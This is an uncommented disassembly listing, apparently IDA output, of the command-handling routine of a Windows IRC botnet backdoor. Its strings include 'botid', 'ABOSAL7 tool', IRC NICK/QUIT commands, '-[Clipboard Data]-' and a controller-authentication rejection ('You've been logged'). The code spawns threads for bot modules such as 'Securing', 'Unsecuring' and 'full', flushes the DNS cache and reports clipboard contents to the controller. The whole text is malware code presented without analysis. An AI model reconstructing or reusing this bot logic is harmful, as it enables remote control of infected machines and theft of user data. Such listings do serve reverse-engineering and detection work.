; ---------------------------------------------------------------------------


loc_412976:				; CODE XREF: sub_40D2E0+568Cj
		push	8
		call	sub_415193


loc_41297D:				; CODE XREF: sub_40D2E0+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_4133B5
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405821


loc_412998:				; CODE XREF: sub_40D2E0+5B67j
		add	esp, 10h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: sub_40D2E0+184Fj
					; sub_40D2E0+1864j
		mov	eax, ds:dword_436390
		cmp	eax, ebx
		jz	short loc_4129BD
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_4129B6
		push	offset unk_42B7B0
		jmp	short loc_4129D2
; ---------------------------------------------------------------------------


loc_4129B6:				; CODE XREF: sub_40D2E0+56CDj
		push	offset unk_42B774
		jmp	short loc_4129D2
; ---------------------------------------------------------------------------


loc_4129BD:				; CODE XREF: sub_40D2E0+56C7j
		push	offset unk_42B738
		jmp	short loc_4129D2
; ---------------------------------------------------------------------------


loc_4129C4:				; CODE XREF: sub_40D2E0+1825j
					; sub_40D2E0+183Aj
		call	sub_409448
		test	eax, eax
		jz	short loc_4129E8
		push	offset unk_42B704


loc_4129D2:				; CODE XREF: sub_40D2E0+4AFCj
					; sub_40D2E0+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		jmp	loc_40F52B
; ---------------------------------------------------------------------------


loc_4129E8:				; CODE XREF: sub_40D2E0+56EBj
		push	offset unk_42B6C8
		jmp	short loc_4129D2
; ---------------------------------------------------------------------------


loc_4129EF:				; CODE XREF: sub_40D2E0+17FBj
					; sub_40D2E0+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_412A0E
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_412A0E:				; CODE XREF: sub_40D2E0+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_409105
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		push	offset dword_42B688


loc_412A2B:				; CODE XREF: sub_40D2E0+5A09j
					; sub_40D2E0+5A3Bj
		call	sub_40A5B3
		add	esp, 18h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_412A38:				; CODE XREF: sub_40D2E0+171Cj
					; sub_40D2E0+1731j
		push	7
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_412A4B
		push	offset dword_42B650
		jmp	short loc_412A6C
; ---------------------------------------------------------------------------


loc_412A4B:				; CODE XREF: sub_40D2E0+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409BB2
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412A67
		push	offset dword_42B618
		jmp	short loc_412A6C
; ---------------------------------------------------------------------------


loc_412A67:				; CODE XREF: sub_40D2E0+577Ej
		push	offset dword_42B5E8


loc_412A6C:				; CODE XREF: sub_40D2E0+2C51j
					; sub_40D2E0+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_412A7A:				; CODE XREF: sub_40D2E0+15C6j
					; sub_40D2E0+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41327F
		push	ebx
		push	[ebp+var_4]


loc_412A87:				; CODE XREF: sub_40D2E0+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_412A97:				; CODE XREF: sub_40D2E0+2ECBj
		call	sub_40BAE7
		add	esp, 14h
		jmp	loc_41327F
; ---------------------------------------------------------------------------


loc_412AA4:				; CODE XREF: sub_40D2E0+16F2j
					; sub_40D2E0+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408AF2
		jmp	loc_40D6A4
; ---------------------------------------------------------------------------


loc_412ABD:				; CODE XREF: sub_40D2E0+16C8j
					; sub_40D2E0+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B934
		jmp	loc_40D6A4
; ---------------------------------------------------------------------------


loc_412ADA:				; CODE XREF: sub_40D2E0+169Ej
					; sub_40D2E0+16B3j
		or	edi, 0FFFFFFFFh
		call	ds:dword_422048	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_412B03
		push	esi
		call	sub_4159EF
		pop	ecx
		mov	edi, eax


loc_412B03:				; CODE XREF: sub_40D2E0+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_412B1C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_4133B5


loc_412B1C:				; CODE XREF: sub_40D2E0+5831j
		push	ebx
		call	sub_409D67
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42B5C0
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		jmp	loc_40FECB
; ---------------------------------------------------------------------------


loc_412B5F:				; CODE XREF: sub_40D2E0+1674j
					; sub_40D2E0+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40726C
		add	esp, 0Ch
		push	offset unk_42B590
		jmp	loc_40F1A6
; ---------------------------------------------------------------------------


loc_412B7D:				; CODE XREF: sub_40D2E0+164Aj
					; sub_40D2E0+165Fj
		push	1Fh
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_412BA6
		cmp	[ebp+var_8], ebx
		jnz	loc_40D6A7
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B55C
		push	[ebp+var_8C]
		jmp	loc_40DC0E
; ---------------------------------------------------------------------------


loc_412BA6:				; CODE XREF: sub_40D2E0+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_412C07
		push	esi
		push	offset aFull	; "full"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C07
		mov	[ebp+var_46C], 1


loc_412C07:				; CODE XREF: sub_40D2E0+590Aj
					; sub_40D2E0+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_42B524
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_414F2C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_4137A9
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_412C75


loc_412C5F:				; CODE XREF: sub_40D2E0+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_41327F
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412C5F
; ---------------------------------------------------------------------------


loc_412C75:				; CODE XREF: sub_40D2E0+597Dj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B4D4
		jmp	loc_413270
; ---------------------------------------------------------------------------


loc_412C86:				; CODE XREF: sub_40D2E0+1620j
					; sub_40D2E0+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_412CA5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42B4AC
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_412CA5:				; CODE XREF: sub_40D2E0+59A9j
		push	[ebp+arg_4]
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363C8	; WSACleanup
		call	sub_409288
		push	ebx
		call	ds:off_42212C


loc_412CC0:				; CODE XREF: sub_40D2E0+15F6j
					; sub_40D2E0+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_409F1E
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		push	offset dword_42B484
		jmp	loc_412A2B
; ---------------------------------------------------------------------------


loc_412CEE:				; CODE XREF: sub_40D2E0+14BCj
					; sub_40D2E0+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40A1D2
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		push	offset dword_42B45C
		jmp	loc_412A2B
; ---------------------------------------------------------------------------


loc_412D20:				; CODE XREF: sub_40D2E0+1492j
					; sub_40D2E0+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A653
		jmp	loc_40D6A4
; ---------------------------------------------------------------------------


loc_412D39:				; CODE XREF: sub_40D2E0+1468j
					; sub_40D2E0+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_412D78
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412D78
		push	esi
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412D78
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_4159FA
		add	esp, 10h


loc_412D78:				; CODE XREF: sub_40D2E0+5A62j
					; sub_40D2E0+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42B434
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_414F2C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40A693
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_412E1B


loc_412E05:				; CODE XREF: sub_40D2E0+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40D6A7
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412E05
; ---------------------------------------------------------------------------


loc_412E1B:				; CODE XREF: sub_40D2E0+5B23j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B3EC
		jmp	loc_40D890
; ---------------------------------------------------------------------------


loc_412E2C:				; CODE XREF: sub_40D2E0+143Ej
					; sub_40D2E0+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A53B
		push	offset dword_42B3C4
		call	sub_40A5B3
		jmp	loc_412998
; ---------------------------------------------------------------------------


loc_412E4C:				; CODE XREF: sub_40D2E0+1414j
					; sub_40D2E0+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_412EA6
		push	offset dword_42B3C0
		push	esi
		call	sub_4158A0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_412EAC
; ---------------------------------------------------------------------------


loc_412EA6:				; CODE XREF: sub_40D2E0+5BAAj
		mov	[ebp+var_46C], ebx


loc_412EAC:				; CODE XREF: sub_40D2E0+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42B394
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_414F2C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_414F97
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_412F16


loc_412F04:				; CODE XREF: sub_40D2E0+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_412F31
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_412F04
; ---------------------------------------------------------------------------


loc_412F16:				; CODE XREF: sub_40D2E0+5C22j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B34C


loc_412F22:				; CODE XREF: sub_40D2E0+489Dj
					; sub_40D2E0+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_412F31:				; CODE XREF: sub_40D2E0+4527j
					; sub_40D2E0+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_40EAC2
; ---------------------------------------------------------------------------


loc_412F3D:				; CODE XREF: sub_40D2E0+1398j
					; sub_40D2E0+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_42B324
		jmp	short loc_412F5B
; ---------------------------------------------------------------------------


loc_412F49:				; CODE XREF: sub_40D2E0+136Ej
					; sub_40D2E0+1383j
					; DATA XREF: ...
		push	ds:dword_4C8CC0
		call	sub_409D67
		pop	ecx
		push	eax
		push	offset dword_42B2E8


loc_412F5B:				; CODE XREF: sub_40D2E0+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 20h
		jmp	loc_40F56B
; ---------------------------------------------------------------------------


loc_412F88:				; CODE XREF: sub_40D2E0+1344j
					; sub_40D2E0+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412FBA
		cmp	[ebp+var_C], ebx
		jz	short loc_412FC9
		push	esi
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412FC9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		jmp	short loc_412FC9
; ---------------------------------------------------------------------------


loc_412FBA:				; CODE XREF: sub_40D2E0+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		pop	ecx
		pop	ecx


loc_412FC9:				; CODE XREF: sub_40D2E0+5CB6j
					; sub_40D2E0+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40D6A9
; ---------------------------------------------------------------------------


loc_412FD0:				; CODE XREF: sub_40D2E0+131Aj
					; sub_40D2E0+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		push	offset dword_42B298
		call	sub_40A5B3
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_412FF2:				; CODE XREF: sub_40D2E0+12F0j
					; sub_40D2E0+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		push	offset dword_42B258
		call	sub_40A5B3
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_413013:				; CODE XREF: sub_40D2E0+12C6j
					; sub_40D2E0+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405756
		jmp	loc_411462
; ---------------------------------------------------------------------------


loc_413029:				; CODE XREF: sub_40D2E0+1221j
					; sub_40D2E0+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_42B248
		push	offset dword_42B23C
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_413041:				; CODE XREF: sub_40D2E0+11F7j
					; sub_40D2E0+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_42B230
		push	offset dword_42B220
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_413059:				; CODE XREF: sub_40D2E0+1022j
					; sub_40D2E0+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_413078
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jz	short loc_413078
		push	edi
		call	sub_4159EF
		pop	ecx
		jmp	short loc_41307D
; ---------------------------------------------------------------------------


loc_413078:				; CODE XREF: sub_40D2E0+5D82j
					; sub_40D2E0+5D8Dj
		mov	eax, ds:dword_42ACC0


loc_41307D:				; CODE XREF: sub_40D2E0+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_4130A2
		push	esi


loc_41308F:				; CODE XREF: sub_40D2E0+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		jmp	short loc_4130B9
; ---------------------------------------------------------------------------


loc_4130A2:				; CODE XREF: sub_40D2E0+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_4130B3
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_41308F
; ---------------------------------------------------------------------------


loc_4130B3:				; CODE XREF: sub_40D2E0+5DC8j
		mov	[ebp+var_488], bl


loc_4130B9:				; CODE XREF: sub_40D2E0+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_4159FA
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_426E74
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_414F2C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_406630
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_41316A


loc_413154:				; CODE XREF: sub_40D2E0+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40D6A7
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_413154
; ---------------------------------------------------------------------------


loc_41316A:				; CODE XREF: sub_40D2E0+5E72j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B1D8
		jmp	loc_40D890
; ---------------------------------------------------------------------------


loc_41317B:				; CODE XREF: sub_40D2E0+FCEj
					; sub_40D2E0+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A3
		push	edi
		push	offset aSec	; "sec"
		call	sub_4158A0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131AD


loc_4131A3:				; CODE XREF: sub_40D2E0+5EAAj
		mov	[ebp+var_46C], 1


loc_4131AD:				; CODE XREF: sub_40D2E0+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4131F4
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4131F4:				; CODE XREF: sub_40D2E0+5F0Dj
		push	eax
		push	offset dword_42B18C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_414F2C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_414396
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_413264


loc_413252:				; CODE XREF: sub_40D2E0+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_41327F
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_413252
; ---------------------------------------------------------------------------


loc_413264:				; CODE XREF: sub_40D2E0+5F70j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B140


loc_413270:				; CODE XREF: sub_40D2E0+3DA5j
					; sub_40D2E0+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_41327F:				; CODE XREF: sub_40D2E0+2EB3j
					; sub_40D2E0+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		jmp	loc_40D896
; ---------------------------------------------------------------------------


loc_413290:				; CODE XREF: sub_40D2E0+FA4j
					; sub_40D2E0+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_42B120
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_41329F:				; CODE XREF: sub_40D2E0+F7Aj
					; sub_40D2E0+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4132FF
		push	esi
		call	sub_4159EF
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4132F4
		cmp	eax, 2
		jge	short loc_4132F4
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4132E9
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42E4F4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40F2C5
; ---------------------------------------------------------------------------


loc_4132E9:				; CODE XREF: sub_40D2E0+5FE8j
		push	eax
		push	offset dword_42B0E4
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_4132F4:				; CODE XREF: sub_40D2E0+5FD3j
					; sub_40D2E0+5FD8j
		push	eax
		push	offset dword_42B0A8
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_4132FF:				; CODE XREF: sub_40D2E0+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_413304:				; CODE XREF: sub_40D2E0+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413327
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_413304
		jmp	loc_40F2C5
; ---------------------------------------------------------------------------


loc_413327:				; CODE XREF: sub_40D2E0+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42E4F4
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_413341:				; CODE XREF: sub_40D2E0+F50j
					; sub_40D2E0+F65j
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4133B5
		call	sub_4150F5
		push	ebx
		call	ds:off_42212C


loc_413363:				; CODE XREF: sub_40D2E0+F26j
					; sub_40D2E0+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	ds:dword_42ACE4
		push	eax
		call	sub_41416F
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_42B074


loc_4133AE:				; CODE XREF: sub_40D2E0+4344j
					; sub_40D2E0+49D7j ...
		call	sub_40A627
		pop	ecx


loc_4133B4:				; CODE XREF: sub_40D2E0+17E7j
		pop	ecx


loc_4133B5:				; CODE XREF: sub_40D2E0+65Fj
					; sub_40D2E0+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_4133BD:				; CODE XREF: sub_40D2E0+B28j
					; sub_40D2E0+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D6A7
		cmp	[ebp+var_AC], ebx
		jnz	loc_40D6A7
		push	offset asc_42E570 ; "!"
		push	[ebp+var_94]
		call	sub_416C8F
		mov	esi, eax
		push	offset dword_4325D4
		push	ebx
		inc	esi
		call	sub_416C8F
		push	offset asc_42B070 ; "~"
		push	eax
		call	sub_416C8F
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4158A0
		add	esp, 20h
		test	eax, eax
		jz	short loc_41345C
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42AFE8
		jmp	loc_40DC81
; ---------------------------------------------------------------------------


loc_41345C:				; CODE XREF: sub_40D2E0+6138j
		mov	[ebp+arg_24], offset off_42ADDC


loc_413463:				; CODE XREF: sub_40D2E0+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_415285
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134C3
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42ADE0
		jb	short loc_413463
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42AFAC
		jmp	loc_40DC81
; ---------------------------------------------------------------------------


loc_4134C3:				; CODE XREF: sub_40D2E0+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4134C8:				; CODE XREF: sub_40D2E0+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40D6A7
		cmp	[edi], bl
		jnz	short loc_4134E8
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4134F9


loc_4134E8:				; CODE XREF: sub_40D2E0+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4134C8
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_4134F9:				; CODE XREF: sub_40D2E0+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D30
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413530
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42AF80
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_413530:				; CODE XREF: sub_40D2E0+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42AF50
